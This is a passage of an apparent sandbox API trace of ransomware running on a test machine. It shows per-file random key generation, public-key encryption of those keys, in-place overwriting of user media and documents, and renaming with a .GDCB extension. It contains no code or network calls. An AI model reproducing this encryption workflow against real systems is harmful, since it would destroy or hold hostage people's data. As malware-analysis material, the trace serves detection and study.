(lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\8g6mIA 6.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\8g6mia 6.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\8g6mIA 6.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\8g6mia 6.pptx.gdcb")) returned 1 [0136.553] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0136.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.554] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.554] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.554] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0136.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.555] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.555] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.555] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.557] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308708) returned 1 [0136.557] CryptGetKeyParam (in: hKey=0x308708, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.557] CryptEncrypt (in: hKey=0x308708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.557] GetLastError () returned 0x0 [0136.557] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.557] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.559] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308b48) returned 1 [0136.559] CryptGetKeyParam (in: hKey=0x308b48, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.559] CryptEncrypt (in: hKey=0x308b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.559] GetLastError () returned 0x0 [0136.559] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\lFbogup.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\lfbogup.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.559] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.559] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.560] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x12694, lpOverlapped=0x0) returned 1 [0136.568] VirtualAlloc (lpAddress=0x0, dwSize=0x126a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.569] VirtualAlloc (lpAddress=0x0, dwSize=0x126a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0136.570] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.571] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-75412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.571] WriteFile (in: hFile=0x4ec, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x126a0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x126a0, lpOverlapped=0x0) returned 1 [0136.571] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.571] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.574] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.574] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.574] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.574] CloseHandle (hObject=0x4ec) returned 1 [0136.576] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.576] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.576] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.576] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\lFbogup.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\lfbogup.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\lFbogup.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\lfbogup.mp3.gdcb")) returned 1 [0136.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.591] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed0e0) returned 1 [0136.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.592] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.592] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0136.592] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.592] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0136.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.593] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.593] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0136.593] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.593] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0136.595] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308748) returned 1 [0136.595] CryptGetKeyParam (in: hKey=0x308748, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.595] CryptEncrypt (in: hKey=0x308748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0136.595] GetLastError () returned 0x0 [0136.595] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.595] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0136.597] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308d88) returned 1 [0136.597] CryptGetKeyParam (in: hKey=0x308d88, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.597] CryptEncrypt (in: hKey=0x308d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0136.597] GetLastError () returned 0x0 [0136.597] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.597] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\9Vo634VvEY9vGOHOlzG.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\9vo634vvey9vgoholzg.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0136.597] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.597] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.598] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0xaa52, lpOverlapped=0x0) returned 1 [0136.606] VirtualAlloc (lpAddress=0x0, dwSize=0xaa60, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.611] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\9Vo634VvEY9vGOHOlzG.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\9vo634vvey9vgoholzg.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\9Vo634VvEY9vGOHOlzG.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\9vo634vvey9vgoholzg.mkv.gdcb")) returned 1 [0136.613] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0136.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.613] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.613] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0136.613] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.614] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0136.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.614] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0136.614] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.614] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0136.616] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308a08) returned 1 [0136.616] CryptGetKeyParam (in: hKey=0x308a08, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.616] CryptEncrypt (in: hKey=0x308a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0136.616] GetLastError () returned 0x0 [0136.616] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.616] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0136.619] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x3089c8) returned 1 [0136.619] CryptGetKeyParam (in: hKey=0x3089c8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.619] CryptEncrypt (in: hKey=0x3089c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0136.619] GetLastError () returned 0x0 [0136.619] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.619] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\jS0e PAHtzszw9mdks.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\js0e pahtzszw9mdks.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0136.619] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.620] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.620] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0x7508, lpOverlapped=0x0) returned 1 [0136.629] VirtualAlloc (lpAddress=0x0, dwSize=0x7510, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.633] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\jS0e PAHtzszw9mdks.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\js0e pahtzszw9mdks.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\jS0e PAHtzszw9mdks.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\js0e pahtzszw9mdks.wav.gdcb")) returned 1 [0136.634] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0136.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.635] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.635] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0136.635] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.635] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed300) returned 1 [0136.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.636] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0136.636] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.636] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0136.638] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308dc8) returned 1 [0136.638] CryptGetKeyParam (in: hKey=0x308dc8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.638] CryptEncrypt (in: hKey=0x308dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0136.638] GetLastError () returned 0x0 [0136.638] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.638] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0136.640] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308948) returned 1 [0136.640] CryptGetKeyParam (in: hKey=0x308948, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.640] CryptEncrypt (in: hKey=0x308948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0136.640] GetLastError () returned 0x0 [0136.640] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.640] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\ORNdnmfJCdFA1es0enx.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\orndnmfjcdfa1es0enx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0136.640] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.640] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.641] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0x1634a, lpOverlapped=0x0) returned 1 [0136.649] VirtualAlloc (lpAddress=0x0, dwSize=0x16350, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.655] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\ORNdnmfJCdFA1es0enx.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\orndnmfjcdfa1es0enx.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\ORNdnmfJCdFA1es0enx.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\orndnmfjcdfa1es0enx.flv.gdcb")) returned 1 [0136.656] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0136.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.657] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0136.657] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.657] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0136.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.657] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0136.657] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.657] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0136.659] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308788) returned 1 [0136.659] CryptGetKeyParam (in: hKey=0x308788, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.659] CryptEncrypt (in: hKey=0x308788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0136.660] GetLastError () returned 0x0 [0136.660] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.660] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0136.661] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x308908) returned 1 [0136.661] CryptGetKeyParam (in: hKey=0x308908, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0136.661] CryptEncrypt (in: hKey=0x308908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0136.662] GetLastError () returned 0x0 [0136.662] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.662] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\oWXZt UxeIOr.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\owxzt uxeior.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0136.662] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.662] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.662] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0x64af, lpOverlapped=0x0) returned 1 [0136.671] VirtualAlloc (lpAddress=0x0, dwSize=0x64b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.675] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\oWXZt UxeIOr.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\owxzt uxeior.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\L_GiUm\\oWXZt UxeIOr.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\l_gium\\owxzt uxeior.mp3.gdcb")) returned 1 [0136.682] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.683] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.683] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.683] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.683] CryptAcquireContextW (in: 